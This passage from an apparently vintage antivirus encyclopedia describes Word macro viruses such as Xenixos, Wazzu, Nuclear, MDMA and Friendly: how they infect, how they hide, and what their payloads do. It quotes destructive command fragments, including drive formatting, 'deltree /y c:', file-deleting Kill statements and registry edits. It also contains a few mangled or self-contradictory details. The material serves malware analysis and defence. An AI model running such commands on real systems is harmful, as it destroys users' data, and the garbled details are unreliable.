Datei|Dokumentvorlage|Organisieren|Makros command.

"AutoExec"
"AutoOpen"
"DateiBeenden"
"DateiDrucken"
"DateiDruckenStandard"
"DateiOeffnen"
"DateiSpeichern"
"DateiSpeichernUnter"
"Drop"
"Dummy"
"ExtrasMakro"

The infected global template (NORMAL.DOT) includes
the following additional macros:

"AutoClose"
"AutoExit"
"AutoNew"

They all contain the empty macro "Dummy".

Upon opening of an infected document, Xenixos infects
the global template unless the "DateiSpeichernUnter"
macro is already present. Xenixos spreads upon using the
 "DateiSpeichern" ("FileSave") and "DateiSpeichernUnter"
("FileSaveAs") command. All its macros are Execute-Only,
and therefore they can not be viewed or modified. Files with
the name "VIRUS.DOT" will not become infected.

During infection, Xenixos checks the system date and then
activates various destructive payloads according the the
date. During the month of May it adds the following
text to "C:\AUTOEXEC.BAT":

"    @echo j format c: /u > nul   "

This will format the C:\ drive if the DOS "format"
command is present.

During the month of March, Xenixos tries to activate the
DOS-Virus "Neuroquila" by using a DOS DEBUG script.
This part of the virus is
faulty (it tries to create an .EXE file) and therefore the
DOS-based virus never infects the system.

The third destructive payload checks the system time,
and in case of a value bigger than 45 in the seconds field,
it will add the password "XENIXOS" to a saved document.

Upon printing a document, Xenixos checks the system
time again, and in case of a value smaller than 30 in the
seconds field, it will add
the following text to the end of the printed document:

"    Nemesis Corp.                          "

Xenixos also includes some additional tricks to make its
detection more difficult. It turns of the prompting of
Word before saving a modified global template and replaces
the Tools|Macros command with code that will display the
following error message instead of the activation of
Word's built-in macro viewer/editor:

"  Diese Option ist derzeit leider nicht verfuegbar    "

(This prevents the user from seeing the virus's macros).

Upon starting MS Word, Xenixos copies parts of its virus
macros and saves them with new names, (for example:
"DateiSpeichern" -> "DateiSpeichernBak").
After a document is opened, Xenixos restores its backups.

The following text is also found in the virus code, yet is
never displayed:

" Brought to you by the Nemesis Corporation (c) 1996 "

In addition, Xenixos changes section "Compatibility"
inside the WIN.INI file.  It sets the variable "RR2CD"
to the value "0x0020401", and the variable "Diag$" to
"0". The WIN.INI variables can be used to deactivate
the virus.  Setting the variable "Diag$" to "1" will
prevent most of the destructive payloads.

Some replicants of Xenixos will also display the following
Wordbasic error message:

"  Falscher Parameter  "


[Word.Wieder]
Virus Name: Xenixos
Alias Name: Wieder, Pferd
Virus Type: Word macro virus
Virus Length: 638 Bytes (2 Macros)
Symptoms: C:\Autoexec.bat is moved and deleted
Place of origin: Germany
Description: This virus infects MS Word documents.
Wieder is a not a virus but a trojan horse, since it does
not infect other files.

The following unencrypted macros can be found inside
infected documents:
"AutoClose"
"AutoOpen"
When opening an infected document, Wieder creates
the directory "C:\TROJA", and moves the system file
"C:\AUTOEXEC.BAT" into the newly created directory.
After moving the file the original files are deleted.

When closing an infected document, the following text
is displayed:

"Auf Wieder÷ffnen"

"P.S: Falls Sie Ihre AUTOEXEC.BAT - Datei"
"gerne wiederhaben moechten, sollten Sie einen"
"Blick in das neue Verzeichnis C:\TROJA werfen..."

Any Word 2.0 documents which include the trojan,
includes the following text:

"Trojanisches Pferd "
"Wenn Sie diese Zeilen lesen, wurde bereits Ihre
AUTOEXEC.BAT- Datei aus dem"
"Hauptverzeichnis C:\ entfernt. Hoffentlich haben Sie
eine Kopie davon ?    "

"Genauso einfach waere es gewesen, Ihre Festplatte
zu loeschen und mit ein  "
"klein wenig mehr Aufwand koennte man auch einen Virus
installieren. "
(c) Stefan Kurtzhals


[Word.Wazzu]
Virus Name: Wazzu
Alias Name: WM.Wazzu
Virus Type: Word macro virus
Virus Length: 632 Bytes (1 Macro)
Symptoms: Words in the active document are erased
          The word 'wazzu' is inserted
Place of origin: Washington, United States
Description: This virus infects MS Word documents.
Wazzu.A has only one unencrypted macro which has
a size of 632 Bytes, (starting letter is not capitalized).

"autoopen"

When an infected document is opened, Wazzu.A checks
the name of the active document. If it is
"NORMAL.DOT", then the virus macro is copied from the
global template (NORMAL.DOT) to the open document.
Otherwise NORMAL.DOT becomes infected. Upon
infection documents, are changed into templates which
is very common for macro viruses.

Wazzu does not bypass the prompting from Microsoft
Word before saving the NORMAL.DOT file. Also
Wazzu.A does not check if a document is already
infected. It simply overwrites the "autoopen" macro.

Wazzu has a destructive payload. It picks a random
number between 0 and 1.  and if the number smaller
than 0.2 (probability of 20 percent), the virus will
move a word from one place in the document to
another. This is repeated three times. So the probability
for a Word to be moved is 48.8 percent.  After the third
time, Wazzu picks a final random number (between 0 and 1)
and if the value is higher than 0.25 (probability of 25
percent), the word Wazzu will be inserted into
the document.

After an infected documents is cleaned, it has to be
checked really careful because chances of having a
modified document (words swapped or added) are
over 61 percent. This can be a very time consuming
job with large documents.

Wazzu is a nickname for the Washington State University.
Since Wazzu.A uses the "autoopen" macro, it also
works with other versions of Microsoft Word, such as
the German version.
(c) Stefan Kurtzhals


[Word.Reflex]
Virus Name: Reflex
Alias Name: RedDwarf
Virus Type: Word macro virus
Virus Length: 897 Bytes in .doc files and 1226
            Bytes in .dot files (3 or 4 Macros)
Symptoms: Display of Windows
Place of origin: Ireland
Description: This virus infects MS Word documents.
Delete virus macros from infected documents
(AutoOpen, FClose, FileClose, FA)
Reflex contains 3 encrypted macros (Execute-Only) with
a size of 897 Bytes.
"AutoOpen"
"FClose"
"FileCLose"
An infected global template contains one more macro
("FA"). Upon infection, Reflex turns off the prompting of
Word to ensure a hidden infection of the global template
(NORMAL.DOT). Infected documents are saved with the
password "Guardian". They are also converted internally
to templates, which is very common for macro viruses.

Reflex was written at an anitvirus conference after an
Anti-Virus company announced a challenge to hackers
to break its new technology. Any author of a new
undetected macro virus was supposed to receive
champagne as a reward.

When Reflex infects a file it displays the following window:
"Now, Where's that Jerbil of Bubbly? "

Some replicants of Reflex will also display the following
Wordbasic error message:
"Document not open"


[Word.Polite]
Virus Name: Polite
Alias Name: WW2Demo
Virus Type: Word macro virus
Virus Length: 1918 Bytes (2 Macros)
Symptoms: Display of text windows
Place of origin: United States
Description: This virus infects MS Word documents.

Polite was first created with Microsoft version 2.0, yet
also works with higher versions because newer releases
of Word are compatible with older versions.

Polite consists of two unencrypted macros with a size
of 1918 Bytes.
"FileClose"
"FileSaveAs"
Polite can be called a demonstration virus and is very
unlikely to spread. Before each attempted infection,
it displays a window with the following question:

" Shall I infect the file ? "

If the user answers with the "No" button , no document
becomes infected.  While it asks for permission to infect
files, it does not ask for permission to infect the global
template (NORMAL.DOT).

Upon infection of the global template or when an infected
document is closed, Polite will display the following
message:

"I am alive! "


Once Polite infects a Word 6.0/7.0 document it can not
infect Word 2.0 documents anymore.

The global template (NORMAL.DOT) becomes infected
when an infected document is closed (only when there is
no FileClose macro). Documents become infected upon
using the "FileSaveAs" command. Polite does not use any
Auto-macros and can therefore not be blocked by the
/m parameter.

Polite does not work with foreign versions of Microsoft
Word, since it uses the English macro names "FileSaveAs"
and "FileClose".

(c) Stefan Kurtzhals


[Word.Pheeew]
Virus Name: Pheeew
Alias Name: Dutch, NietGoed, Pheeew:NL
Virus Type: Word macro virus
Virus Length: 2759 Bytes (4 Macros)
Symptoms: Display of text,
         Deletes files in C:\ and C:\DOS
Place of origin: Unknown
Description: This virus infects MS Word documents.

Pheeew is the first Dutch macro virus, which is strongly
based on the Concept macro virus. Pheeew also has 4
unencrypted macros:

"AutoOpen"
"IkWordNietGoed1"
"IkWordNietGoed2"
"Lading"

When an infected document is opened, Pheeew checks
for a previous infection of the global template
(NORMAL.DOT). Pheeew does this by looking for the
two names of the macros "Lading" and "BestandOpslaanAls".
When NORMAL.DOT is not infected, Pheeew copies its
virus macros into the global template.  The macro
"IkWordNietGoed2" is saved under the name
"BestandOpslaanAls" ("FileSaveAs").

Documents are infected when the "FileSaveAs" command
is used. Documents are also changed into templates which
is very common for macro viruses. After infection the
virus shows various windows with the following text:

Window "Important":
" Gotcha ! "
Window "FINAL WARNING!":
"STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC"

Upon clicking the "No" button on the last window, a destructive
payload is activated. All files in the "C:\" and "C:\DOS" are
deleted (certain file attributes are bypassed).

Pheees also contains the following texts:

"Done by the Catman "
Macro "Lading":
" Sub MAIN                                                                  "
"   REM STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC                      "
"   REM              *** WARNING ***                                        "
"   REM You're computer could be killed right now!                          "
"   REM Thank to you and me it's still ok!                                  "
"   REM Next time will be worse!                                            "
"   REM              *** PHEEEW! ***                                        "
"   REM STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC                      "
" End Sub                                                                   "
Pheeew does not work with versions other than the Dutch version
of Microsoft Word.

(c) Stefan Kurtzhals


[Word.PCW]
Virus Name: PCW
Alias Name: Birthday, B-Day, Suzanne
Virus Type: Word macro virus
Virus Length: 1039 Bytes (2 Macros)
Symptoms: Display of message
Place of origin: German computer magazine
Description: This virus infects MS Word documents.
PCW contains two encrypted (Execute-Only) macros
with a size of 1039 Bytes.
"AutoOpen"
"DateiSpeichernUnter"
The name was selected because its code was published
in the German magazine "PC Welt". We expect to see
other variants of this virus, since the code was available
to the public.

Upon opening an infected document, PCW will infect
the global template (NORMAL.DOT). Further
documents are infected when the "DateiSpeichernUnter"
command is used. Infected documents are internally
converted into templates, which is very common for
macro viruses PCW is also known under the name
"Birthday", since it displays the following window:

" Happy Birthday! Herzlichen Glⁿckwunsch... "

PCW uses German macro names and will therefore only
work with the German version of Microsoft Word.


[Word.Nuclear.B]
Virus Name: Nuclear.B
Alias Name: Alert
Virus Type: Word macro virus
Virus Length: 3458 Bytes (7 Macros)
Symptoms: Text added to printed documents
          Files deleted, Change of File attributes
Place of origin: France
Description: This virus infects MS Word documents.
Nuclear.B is a direct variant of Nuclear.B. The virus
author of Nuclear.B probably received the
unencrypted source code of Nuclear.A which helped
hicode of Nuclear.A m to create this new variant.

The (main) only difference between Nuclear.A and
Nuclear.B is that Nuclear.B does not try to drop the
"PH33r" virus. It also contains 7 unencrypted macros
with a size of 1458 Bytes instead of 9 (Execute-Only)
encrypted macros.

"AutoExec"
"AutoOpen"
"FilePrint"
"FilePrintDefault"
"FileSaveAs"
"InsertPayload"
"Payload"

Nuclear.B is activated with the "AutoExec" and
"AutoOpen" macro. Before it infects the global template
(NORMAL.DOT) it checks for a previous infection. It
does not infect if it finds the "AutoExec" macro. After
the virus macros have been transfered to the global template,
it calls its destructive payloads.

Nuclear.B infects documents when they are saved with the
"FileSaveAs" function, whereby all infected documents are
internally converted into templates. This procedure is very
common for macro viruses.

Since Nuclear.B uses English macro names, such as
"FileSaveAs", it does not work with foreign versions of
Microsoft Word, such as the German version.


[Word.Nuclear]
Virus Name: Nuclear
Alias Name: Alert
Virus Type: Word macro virus
Virus Length: 10556 Bytes (9 Macros)
Symptoms: Text added to printed documents
          System files deleted on April 5th

Place of origin: Australia
Description: This virus infects MS Word documents.

Nuclear was the second macro virus found "In-the-Wild"
(after Concept).  It was distributed, over the Internet in
a document with information about the Concept virus.
It was also the first macro virus that used Execute-Only
(encrypted) macros to make analysis more difficult.

Nuclear has 9 macros with a size of 10556 Bytes.

"AutoExec"
"AutoOpen"
"DropSuriv"
"FileExit"
"FilePrint"
"FilePrintDefault"
"FileSaveAs"
"InsertPayload"
"Payload"

Nuclear is activated with the "AutoExec" and "AutoOpen"
macro. Before it infects the global template
(NORMAL.DOT), it checks for a previous infection. It
does not infect if it finds the "AutoExec" macro.

After the virus macros have been transfered to the
global template, Nuclear can call some destructive
payloads. In the first it will try and drop the "Ph33r"
virus. Between 17:00 and 17:59 it creates a text file,
including a script of the DOS/Windows-EXE virus
"Ph33r". It then uses the DOS command "DEBUG.EXE"
to convert the file into an executable file. It also creates the
"EXEC_PH.BAT" batch file, and calls it via the Dos shell.
This last infection routine is faulty, the DOS-window is
closed immediately and the "Ph33r" virus never infects
the system.

In the second, upon printing a document, Nuclear checks
the system time and in case of a value bigger than 55
in the seconds field, it will add the following text to
the end of the printed document:


"And finally I would like to say: "

"STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC


The third destructive payload is activated on April 5th,
when Nuclear deletes the system files "C:\IO.SYS",
"C:\MSDOS.SYS" and "C:\COMMAND.COM.

Upon closing a file, Nuclear.A turns off the prompting
of Word to ensure a hidden infection of the global
template (NORMAL.DOT). This protective function
of Word is therefore effectless against Nuclear.

Nuclear infects documents when they are saved with
the "FileSaveAs" function, whereby all infected documents
are internally converted into templates. In addition Nuclear
does not check documents for a previous infection, it simply
overwrites existing macros.

Since Nuclear uses English macro names, such as
"FileSaveAs", it does not work with foreign versions of
Microsoft Word, such as the German version.
(c) Stefan Kurtzhals


[Word.NOP]
Virus Name: NOP
Alias Name: Nop.A:De
Virus Type: Word macro virus
Virus Length: 246 Bytes (2 Macros)
Symptoms: No destructive symptoms
Place of origin: Germany
Description: This virus infects MS Word documents.

NOP is the smallest known macro virus having a size of
only 246 Bytes. Infected documents contain the following
two macros:
"AutoOpen"
"NOP"
NOP is very primitive and has only very few necessary
commands to replicate. Both of its two macros are not
encrypted. The only special characteristic is that it turns
of the prompting of Word before saving the global
template (NORMAL.DOT).

When an infected document is opened, the virus transfers
itself to the global template and renames "NOP" into
"DateiSpeichernUnter" ("FileSaveAs").
Additional documents become infected when they are
saved. Upon infection documents are also converted to
templates which is very common for macro viruses.

NOP.A does not have a destructive payload, mistake
checking, or recognition of already infected documents.
Virus macros of already infected documents are simply
overwritten.  NOP.A uses the macro name
"DateiSpeichern" ("FileSave"), and works therefore only
with the German version of Microsoft Word.

(c) Stefan Kurtzhals


[Word.NF]
Virus Name: NF
Alias Name: Names, NF:De
Virus Type: Word macro virus
Virus Length: 4209 Bytes (6 Macros)
Symptoms: Display of Windows
Place of origin: United States
Description: This virus infects MS Word documents.
NF contains 2 encrypted macros (Execute-Only) with
a size of 286 Bytes.
"AutoClose"
"NF"
When an infected document is opened , NF will infect
the global template (NORMAL.DOT). Further
documents are infected when they are closed. Infected
documents are converted internally to templates which
is very common for macro viruses.
Upon infection, NF will display the following message
on the bottom of the screen:

"Traced!"

NF is one of very few non-destructive macro viruses.


[Word.MDMA]
Virus Name: MDMA
Alias Name: StickyKeys, MDMA-DMV
Virus Type: Word macro virus
Virus Length: 1635 Bytes (1 Macro)
Symptoms: Files are deleted
Place of origin: United States
Description: This virus infects MS Word documents.

MDMA is the first macro virus that will work on
Windows, Windows 95, Macintosh and Windows NT.
It can be a very destructive macro virus, and Word users
are strongly advised to check their system with an
up-to-date Anti-Virus program.

MDMA contains only one macro with a size of 1635 Bytes.
"AutoClose"
When an infected document is opened and then closed,
MDMA infects the global template (NORMAL.DOT).
Further documents are infected when they are closed
("AutoClose"). Infected documents are also converted to
templates which is very common for macro viruses.

If an infected document is loaded on the first of each
month, MDMA activates its destructive payloads.
The following payloads will be executes, depending
on the operating system:

Windows:
--------
Kill "c:\shmk."; "deltree /y c:" is added to autoexec.bat
This will delete all the directories on the C:\ drive.

Windows NT:
-----------
Kill "*.*"; Kill "c:\shmk."
This will delete all the files on the C:\ drive

Macintosh:
----------
Kill MacID$("****")
This will delete all file on the harddrive.

Windows 95:
-----------
Kill "c" \shmk."; Kill "c:\windows\*.hlp";
Kill "c:\windows\system\*.cpl"
SetPrivateProfileString ("HKEY_CURRENT_USER\Control
Panel\Accessibility\Stickykeys", "On", "1", "")
SetPrivateProfileString
("HKEY_LOCAL_MACHINE\Network\Logon","ProcessLoginScript", "00","")
SetPrivateProfileString ("HKEY_CURRENT_USER\Control
Panel\Accessibility\HighContrst", "On", "1", "")


MDMA will also display the following window:

"  You are infected with MDMA_DMV. Brought to you
by MDMA (Many Delinquent  "
"  Modern Anarchists)."

To combat destructive macro viruses, such as MDMA,
we advise users to use an up-to-date Anti-Virus program.

Microsoft has also released a new Microsoft Word version,
which will warn each time a suspicious macro is loaded.
Users can then decide if they want to disable the macro.

The Microsoft Word upgrade is available for a small fee
from Microsoft.


[Word.Maddog]
Virus Name: Maddog
Alias Name: None
Virus Type: Word macro virus
Virus Length: 4209 Bytes (6 Macros)
Symptoms: Documents contain the text string "MadDog"
Place of origin: Georgia, United States
Description: This virus infects MS Word documents.
Maddog contains 6 macros with a size of 4209 Bytes.
"AutoOpen"
"AutoClose"
"AutoExec"
"FileClose"
"FcFinish"
"AopnFinish"

When an infected document is opened, MadDog will
infect the global template (NORMAL.DOT). Further
documents are infected when they are close with the
"FileClose" command. Upon closing a document, MadDog
saves various times to "Temp1" and then saves the active
document. Infected documents are converted internally
into templates, which is very common for macro viruses.

Infected documents contain the text string "MadDog".


[Word.Tele]
Virus Name: Tele
Alias Name: LBYNJ:De, Telefonica, Tele, TEC, Tele-Sex
Virus Type: Word macro virus
Virus Length: 22256 Bytes (7 Macros)
Symptoms: Infection with the Kampana.3784 DOS based virus
         Text added to printed documents
Place of origin: Germany
Description: This virus infects MS Word documents.
LBYNJ is another German macro virus, which is probably
based on previous macro viruses, such as Xenixos.
The 7 encrypted (Execute-Only) macros of LBYNJ have
a size of 22256 Bytes.

"AutoExec"
"AutoOpen"
"DateiBeenden"
"DateiDrucken"
"DateiNeu"
"DateiOeffnen"
"Telefonica"

The macro "AutoExec" includes the infection routine
for the global template (NORMAL.DOT), which will not
get infected when inside the WIN.INI file. In (entry
"Compatibility"), the string "0x0030303" is set to "LBYNJ".

"AutoExec" also calls the destructive payload in the
"Telefonica" macro.  "AutoOpen" starts the "AutoExec"
macro, which means the NORMAL.DOT will become
infected when an infected document is opened. LBYNJ
uses the "Telefonica" macro to check for a previous
infection. It will not infect the global template if the macro
is already present.

Documents are infected upon "DateiBeenden"
("FileClose"), "DateiNeu" ("FileNew") and "DateiOeffnen"
("FileOpen"), whereby at the end of "DateiOeffnen"
("FileOpen") the macro "Telefonica is called again.
Infected documents are changed to templates, which
is very common for macro viruses.

LBYNJ has two destructive payloads. The first can be
found in the "DateiDrucken" (FilePrint) macro. Upon
printing a documtent, LBYNJ checks the system time
and in case of a value less than 10 in the seconds field,
it will add the following text to the end of the printed document:

" Lucifer by Nightmare Joker (1996) "

The second payload is activated from the "Telefonica"
macro when the second field has a value of 0 or 1.
("Telefonica" is called from "AutoOpen", "AutoExec"
and "DateiOeffnen"). Is this the case, LBYNJ creates a Debug
script, (filename: TELEFONI.SCR), inside the "C:\DOS"
directory which includes the DOS based virus "Kampana.3784".

After creating the script file, LBYNJ executes the
"TELEFONI.BAT" batch file which will use the DOS command
"DEBUG.EXE" to convert the script file into an executable
DOS-based virus and then start it.
(c) Stefan Kurtzhals


[Word.Irish]
Virus Name: Irish
Alias Name: None
Virus Type: Word macro virus
Virus Length: 4152 Bytes (4 Macros)
Symptoms: Display of windows
Place of origin: USA
Description: This virus infects MS Word documents.
Irish contains 4 macros with a size of 4152 Bytes.
"AutoOpen"
"WordHelp"
"AntiVirus"
"WordHelpNT"
Upon opening an infected document, Irish will infect the
global template (NORMAL.DOT). An infected global
template contains the "FileSave" macro, instead of
"AutoOpen". Futher documents are infected when the
"FileSave" command is used. Infected documents are
converted internally to templates which is very common
for macro viruses.

Two of the macros, "WordHelp" and "WordHelpNT",
do not run automatically.  However, when executed
manually by the user, they will change the Windows
desktop color to green.

The macro "WordHelpNT" contains a payload which
attempts to activate the screen saver and display the
following message:

"Happy Saint Patties Day "

However the payload seems to be faulty and does not
work under Windows 95 (Irish only exists Microsoft Word).


[Word.DMV]
Virus Name: DMV
Alias Name: Impost, Imposter.A, Imposter
Virus Type: Word macro virus
Virus Length: 907 Bytes (2 Macros)
Symptoms: Display of text windows: "DMV"
Place of origin: England
Description: This virus infects MS Word documents.


DMV is based on the Concept virus, with only 2
unencrypted macros.
"FileClose"
"DMV"   (FileSaveAs in NORMAL.DOT)
The global template (NORMAL.DOT) becomes infected
when an infected document is closed and the macros
"DMV" and "FileSaveAs" are not already present.
When Imposter.A copies the "DMV" macro, it renames
it to "FileSaveAs" and displays the following window:
"DMV"
Further documents are infected when the "FileSaveAs"
command is used.  Imposter also changes the new
infected document to a template, which is very common
for macro viruses.  The following text can be found inside
DMV, but is not displayed:

" just to prove another point "

(This text is based on the Concept virus, which has "this
is enough to prove my point" in its code).

Because of the use of English macro names, the DMV
virus does not work with NON-English versions such as the
German version of Microsoft Word.

(c)  Stefan Kurtzhals


[Word.Hot]
Virus Name: Hot
Alias Name: WM.Hot
Virus Type: Word macro virus
Virus Length: 5515 Bytes (4 Macros)
Symptoms: Text inside documents is deleted
Place of origin: Unknown
Description: This virus infects MS Word documents.

Hot is a complex virus with 4 encrypted viruses. When
an infected document is opened the virus is activated
by the AutoOpen macro. Some replicated Hot samples
also display the following error message:
"Unable to load the specified library"

First Hot turns off the prompting of Word to ensure a
hidden infection of the global template (NORMAL.DOT).
It also checks the file "WINWORD6.INI" for the following
entry: "QLHot". If nothing is present, Hot will record a
"hot date", 14 days in the future. Is this variable is not
already set, the global template becomes infected.

The InsertPBreak/InsertPageBreak macro does, as its name
suggest, will insert a page-break in the current document.
However, it is also used by the virus to recognise if a
document is already infected.

Some of the macros are renamed when they are copied
by the WordBasic "MacroCopy" command:

"AutoOpen"          becomes  "StartOfDoc"
"DrawBringInFrOut"  becomes  "AutoOpen"
"InsertPBreak"      becomes  "InsertPageBreak"
"ToolsRepaginat"    becomes  "FileSave"

In addition the global template contains the following macros:

"FileSave" (similar to "ToolsRepaginat")
"StartOfDoc" (similar to "AutoOpen")

Hot also uses special functions from the Windows file
"KERNEL.EXE" (Win API).  It uses the API to find the
path for Windows and to open files which are only very
simple functions. It should be noted that many other options
were available to the virus author.

The destructive payload, which is reached upon arrival
of the "hot date" set under the "QLHot" section in the
WINWORD6.ini file, deletes text from the current active
document. This payload is bypassed if the file EGA5.CPI
is present in the "C:\DOS" directory.

A comment in the virus source code suggests that this is a
"feature" designed to protect the virus author and his friends.
(c) Stefan Kurtzhals


[Word.Hassle]
Virus Name: Hassle
Alias Name: Bogus
Virus Type: Word macro virus
Virus Length: 8283 Bytes (7 Macros)
Symptoms: Display of windows
Place of origin: USA
Description: This virus infects MS Word documents.
Hassle contains 7 encrypted (Execute-Only) macros with
a size of 8283 Bytes.
"AutoClose"
"ToolsMacro"
"Microsoft01"
"Microsoft02"
"Microsoft03"
"Microsoft04"
"Microsoft05"
When an infected document is opened, Hassle will
infect the global template (NORMAL.DOT). Hassle
uses macro stealth techniques to hide itself. It uses the
macro "ToolsMacro" to make recognition of an infected
document more difficult. If the user selects any command,
it will display the following windows and close Microsoft
Word:

" Out of Memory or System Resources"
Hassle is one of very few non-destructive macro viruses.
It only infects other files and displays the following
text window
"Are you sure to Quit?"

This happens only very few times. The chances are only
one in 20, (a probability of 5 percent).

Another payload asks the user to register software with
Microsoft.  Hassle will only accept one answer, which
is as follows:
"Bill Gates", "Microsoft" and "666"
Whenever the user selects the Tools/Macro command,
Hassle will display the following text on the bottom of
the screen:
" Microsoft Word Assistant Version 6.2"


[Word.HiSexy]
Virus Name: HiSexy
Alias Name: Guess, Teaside, Phantom
Virus Type: Word macro virus
Virus Length: 1126 Bytes (1 Macro)
Symptoms: Texts are printed or inserted into documents
         Opened documents are closed immediately.

Place of origin: Germany
Description: This virus infects MS Word documents.

Hisexy has only one macro with a size of 1126 Bytes.
"AutoOpen"
Hisexy has a very unusual characteristic compared to
other macro viruses.  It uses only one Execute-Only
macro, "AutoOpen", and does not use common macros
such as FileSaveAs to infect other files. All infection
routines to infect NORMAL.DOT and regular
documents are inside the "AutoOpen" macro.

When an infected document is opened, Hisexy checks
if the document variables are set to "populated". Is this
not the case, a new global template (NORMAL.DOT)
is created and the virus macro "AutoOpen" is copied
into the new document. After that the variable is set to
"populated" to mark the file as infected. If the variable
is already set, the virus infects the new document by
transfering the "AutoOpen" macro using the MakroCopy
command. Guess is the first macro virus to use the document
variables as a checking mechanism for already infected
documents.

Because of an error inside the program code, the virus
does not replicate properly.

Upon a random number (between 0 and 100), Hisexy
activates various destructive payloads. It changes
the active font size or creates a new document
(NORMAL.DOT) including the following text:
"The word is out."
"The word is spreading..."
"The Phantom speaks..."
"Sedbergh"
"is CRAP"
"The word spreads..."
The text will then be printed out.
The following texts will be inserted into the active
document upon the calculated random number:
"This school is really good.  NOT"
"We all love Mr. Hirst."
"M.R.Beard"
"This network is REALLY fast."
"Hi Sexy!"
"Who's been typing on my computer?"
"Well helloooo there!"
"Guess who?"
Also every once in a while, the active document is
closed by Guess.  Because Guess uses only the
"AutoOpen" macro it also works with other versions of
Misrosoft Word such as the German version.
(c) Stefan Kurtzhals


[Word_Goldfish]
Virus Name: Goldfish
Alias Name: Fishfood
Virus Type: Word macro virus
Virus Length: 1906 Bytes (2 Macros)
Symptoms: Display of windows
Place of origin: USA
Description: This virus infects MS Word documents.
Goldfish contains 2 encrypted (Execute-Only) macros
with a size of 1906 Bytes.
"AutoOpen"
"AutoClose"
When an infected document is opened, Goldfish will
infect the global template (NORMAL.DOT). Further
documents are infected when they are opened
("AutoOpen"). Infected documents are converted
internally into templates, which is very common for
macro viruses.

Goldfish is one of very few non-destructive macro
viruses. It only infects other files and displays the
following text window:
"I am the goldfish, I am hungry, feed me."
The message will not go away until the user types
in an acceptable response. The vailable answers are:
"fishfood", "worms", "worm", "pryme" and  "core".


[Word.Friendly]
Virus Name: Friendly
Alias Name: Friends, Friendly:De
Virus Type: Word macro virus
Virus Length: 9867 (20 Macros)
Symptoms: Display of texts
Place of origin: Germany
Description: This virus infects MS Word documents.
Friendly seems to be from the same author as the macro
virus <LBYNJ>, since it includes a reference to
"Nightmare Joker". THe same author has written various
other macro viruses, and is also author of the first macro
virus generation kit. Friendly is a complex macro virus
with 20 macros:

"Abbrechen"
"AutoExec"
"AutoOpen"
"Cancel"
"DateiBeenden"
"DateiNeu"
"DateiOeffnen"
"DateiSchliessen"
"DateiSpeichern"
"DateiSpeichernUnter"
"ExtrasMacro"
"ExtrasMakro"
"Fast"
"FileExit"
"FileNew"
"FileOpen"
"FileSave"
"FileSaveAs"
"Infizieren"
"Talk"

Friendly is an effort to write a virus for more than one
language. All macro names were translated, and internal
English macro commands are used.  By looking at the
currency settings (DM - German Marks), Friendly checks
if it was started from a German Microsoft Word. It looks
like the author did not have an actual copy of the
English Word version since some of the macro names
were translated incorrectly (ExtrasMacro instead of
ToolsMacro).
Friendly therefore does not work with versions other
than the German Word version.

When an infected document is opened, Friendly tries to
infect the global template (NORMAL.DOT). It checks
the global template for a previous infection by looking
for the text "Friendly", Author = Nightmare". After the
macros have been transfered the destructive payload is
called from the "Fast" macro.

Friendly infects other documents whenever either new
ones are created, an action is canceled, and whenever
documents are opened, closed, saved, or Exited from
Word. As very common with macro viruses, an infected
document is internally changed into a template.
Friendly does not check for a previous document
infection. It simply overwrites existing macros.

The destructive payload, inside the "Fast" macro, is
called when the system clock has a second value smaller
than 2. Friendly then creates a debug script inside the
C:\DOS directory and makes it executable by using the
DOS DEBUG.EXE command. In addition, Friendly
adds an entry into AUTOEXEC.BAT, so the DOS
based virus is started after the next boot-up. The DOS
based virus inside Friendly has a size of 395 Bytes and
is a memory resident companion virus encrypted with
CryptCOM.

Friendly displays the following text on January 1st

" Ein gutes neues Jahr !"

and infects EXE files upon execution. COM files are
created with the same name and with the attributes
"READ-ONLY" and "HIDDEN".

If the virus is active, the following text is displayed
when people try to look at the macro list:

"You can't do that!"
"I'm very anxious!"
"Hello my friend!"
"<< Friends >> Virus"

(translated:)

"Du kannst das nicht tun!"
"Ich bin sehr aengstlich!"
"Hallo mein Freund!"
"<< Friends >> Virus"

After May 1st Friendly displays the following text
when infecting documents for the first time
(except for NORMAL.DOT).

(translated:)

"Hello my Friend!"
"I'm the << Friends >> Virus and how are you?"
"Can you give me your name, please?"
"Hello .... I have a good and a bad message for you! The
bad message is that" "you have now a Virus on your
Harddisk and the good message is that I'm "harmless
and useful. Press OK!"
"If you don't kill me, I will insert a programme in your
AutoExec.bat thats "your Keyboard accelerated.
Please .... don't kill me. Goodbye!"
The entered name will then also be displayed.

All the texts will be shown only once.

Friendly will also display various Wordbasic error
messages, such as:
"Unbekannte(r) Befehl, Subroutine oder Funktion"
or
"Syntaxfehler"
(c) Stefan Kurtzhals


[Word.FMT.Trajon]
Virus Name: TrojanFormat
Alias Name: FormatC, Trojan.FC
Virus Type: Word macro virus
Virus Length: 81 Bytes (1 Macro)
Symptoms: C:\ is formated
Place of origin: Posted to Usenet
Description: This virus infects MS Word documents.

FormatC consists of only one virus macro:
"AutoOpen"
FormatC is not a virus but a trojan horse, which does
not replicate.  This macro trojan contains only one
encrypted macro, which is "AutoOpen".
When an infected document is opened, the trojan
triggers the destructive payload, which types " Format
C: /U " in a minimized DOS box and then formats your
C drive.  FormatC is very unlikely to spread since it
does not infect other files.
FormatC was also posted into Usenet with the result that
some users lost their data.

(c) Stefan Kurtzhals


[Word.Doggie]
Virus Name: Doggie
Alias Name: None
Virus Type: Word macro virus
Virus Length: 610 Bytes (3 Macros)
Symptoms: Display of windows
Place of origin: USA
Description: This virus infects MS Word documents.

Doggie contains 3 macros with a size of 610 Bytes.
"Doggie"
"AutoOpen"
"FileSaveAs"
Upon opening an infected document, Doggie will infect
the global template (NORMAL.DOT). Further
documents are infected with the "FileSaveAs" command.
Infected documents are converted internally to templates,
which is very common for macro viruses.

Doggie is one of very few non-destructive macro viruses.
It only infects other files and displays the following
text window:

"Doggie "
Since Doggie uses English macro names ("FileSaveAs")
it will only work with the English version of Microsoft Word.


[WORD.WW2DEMO]
Virus Name: Demonstration
Alias Name: WM.DMV
Virus Type: Word macro virus
Virus Length: 3002 Bytes (1 Macro)
Symptoms: Display of messages
Place of origin: United States, also posted in Usenet
Description: This virus infects MS Word documents.
Demonstration contains 1 macro with a size of 3002 Bytes.
"AutoClose"
Demonstration was the first macro virus written by
Joel McNamara, who published a detailed paper about
macro viruses. It is believed that DMV invited additional
virus authors to write Word macro viruses. While the paper
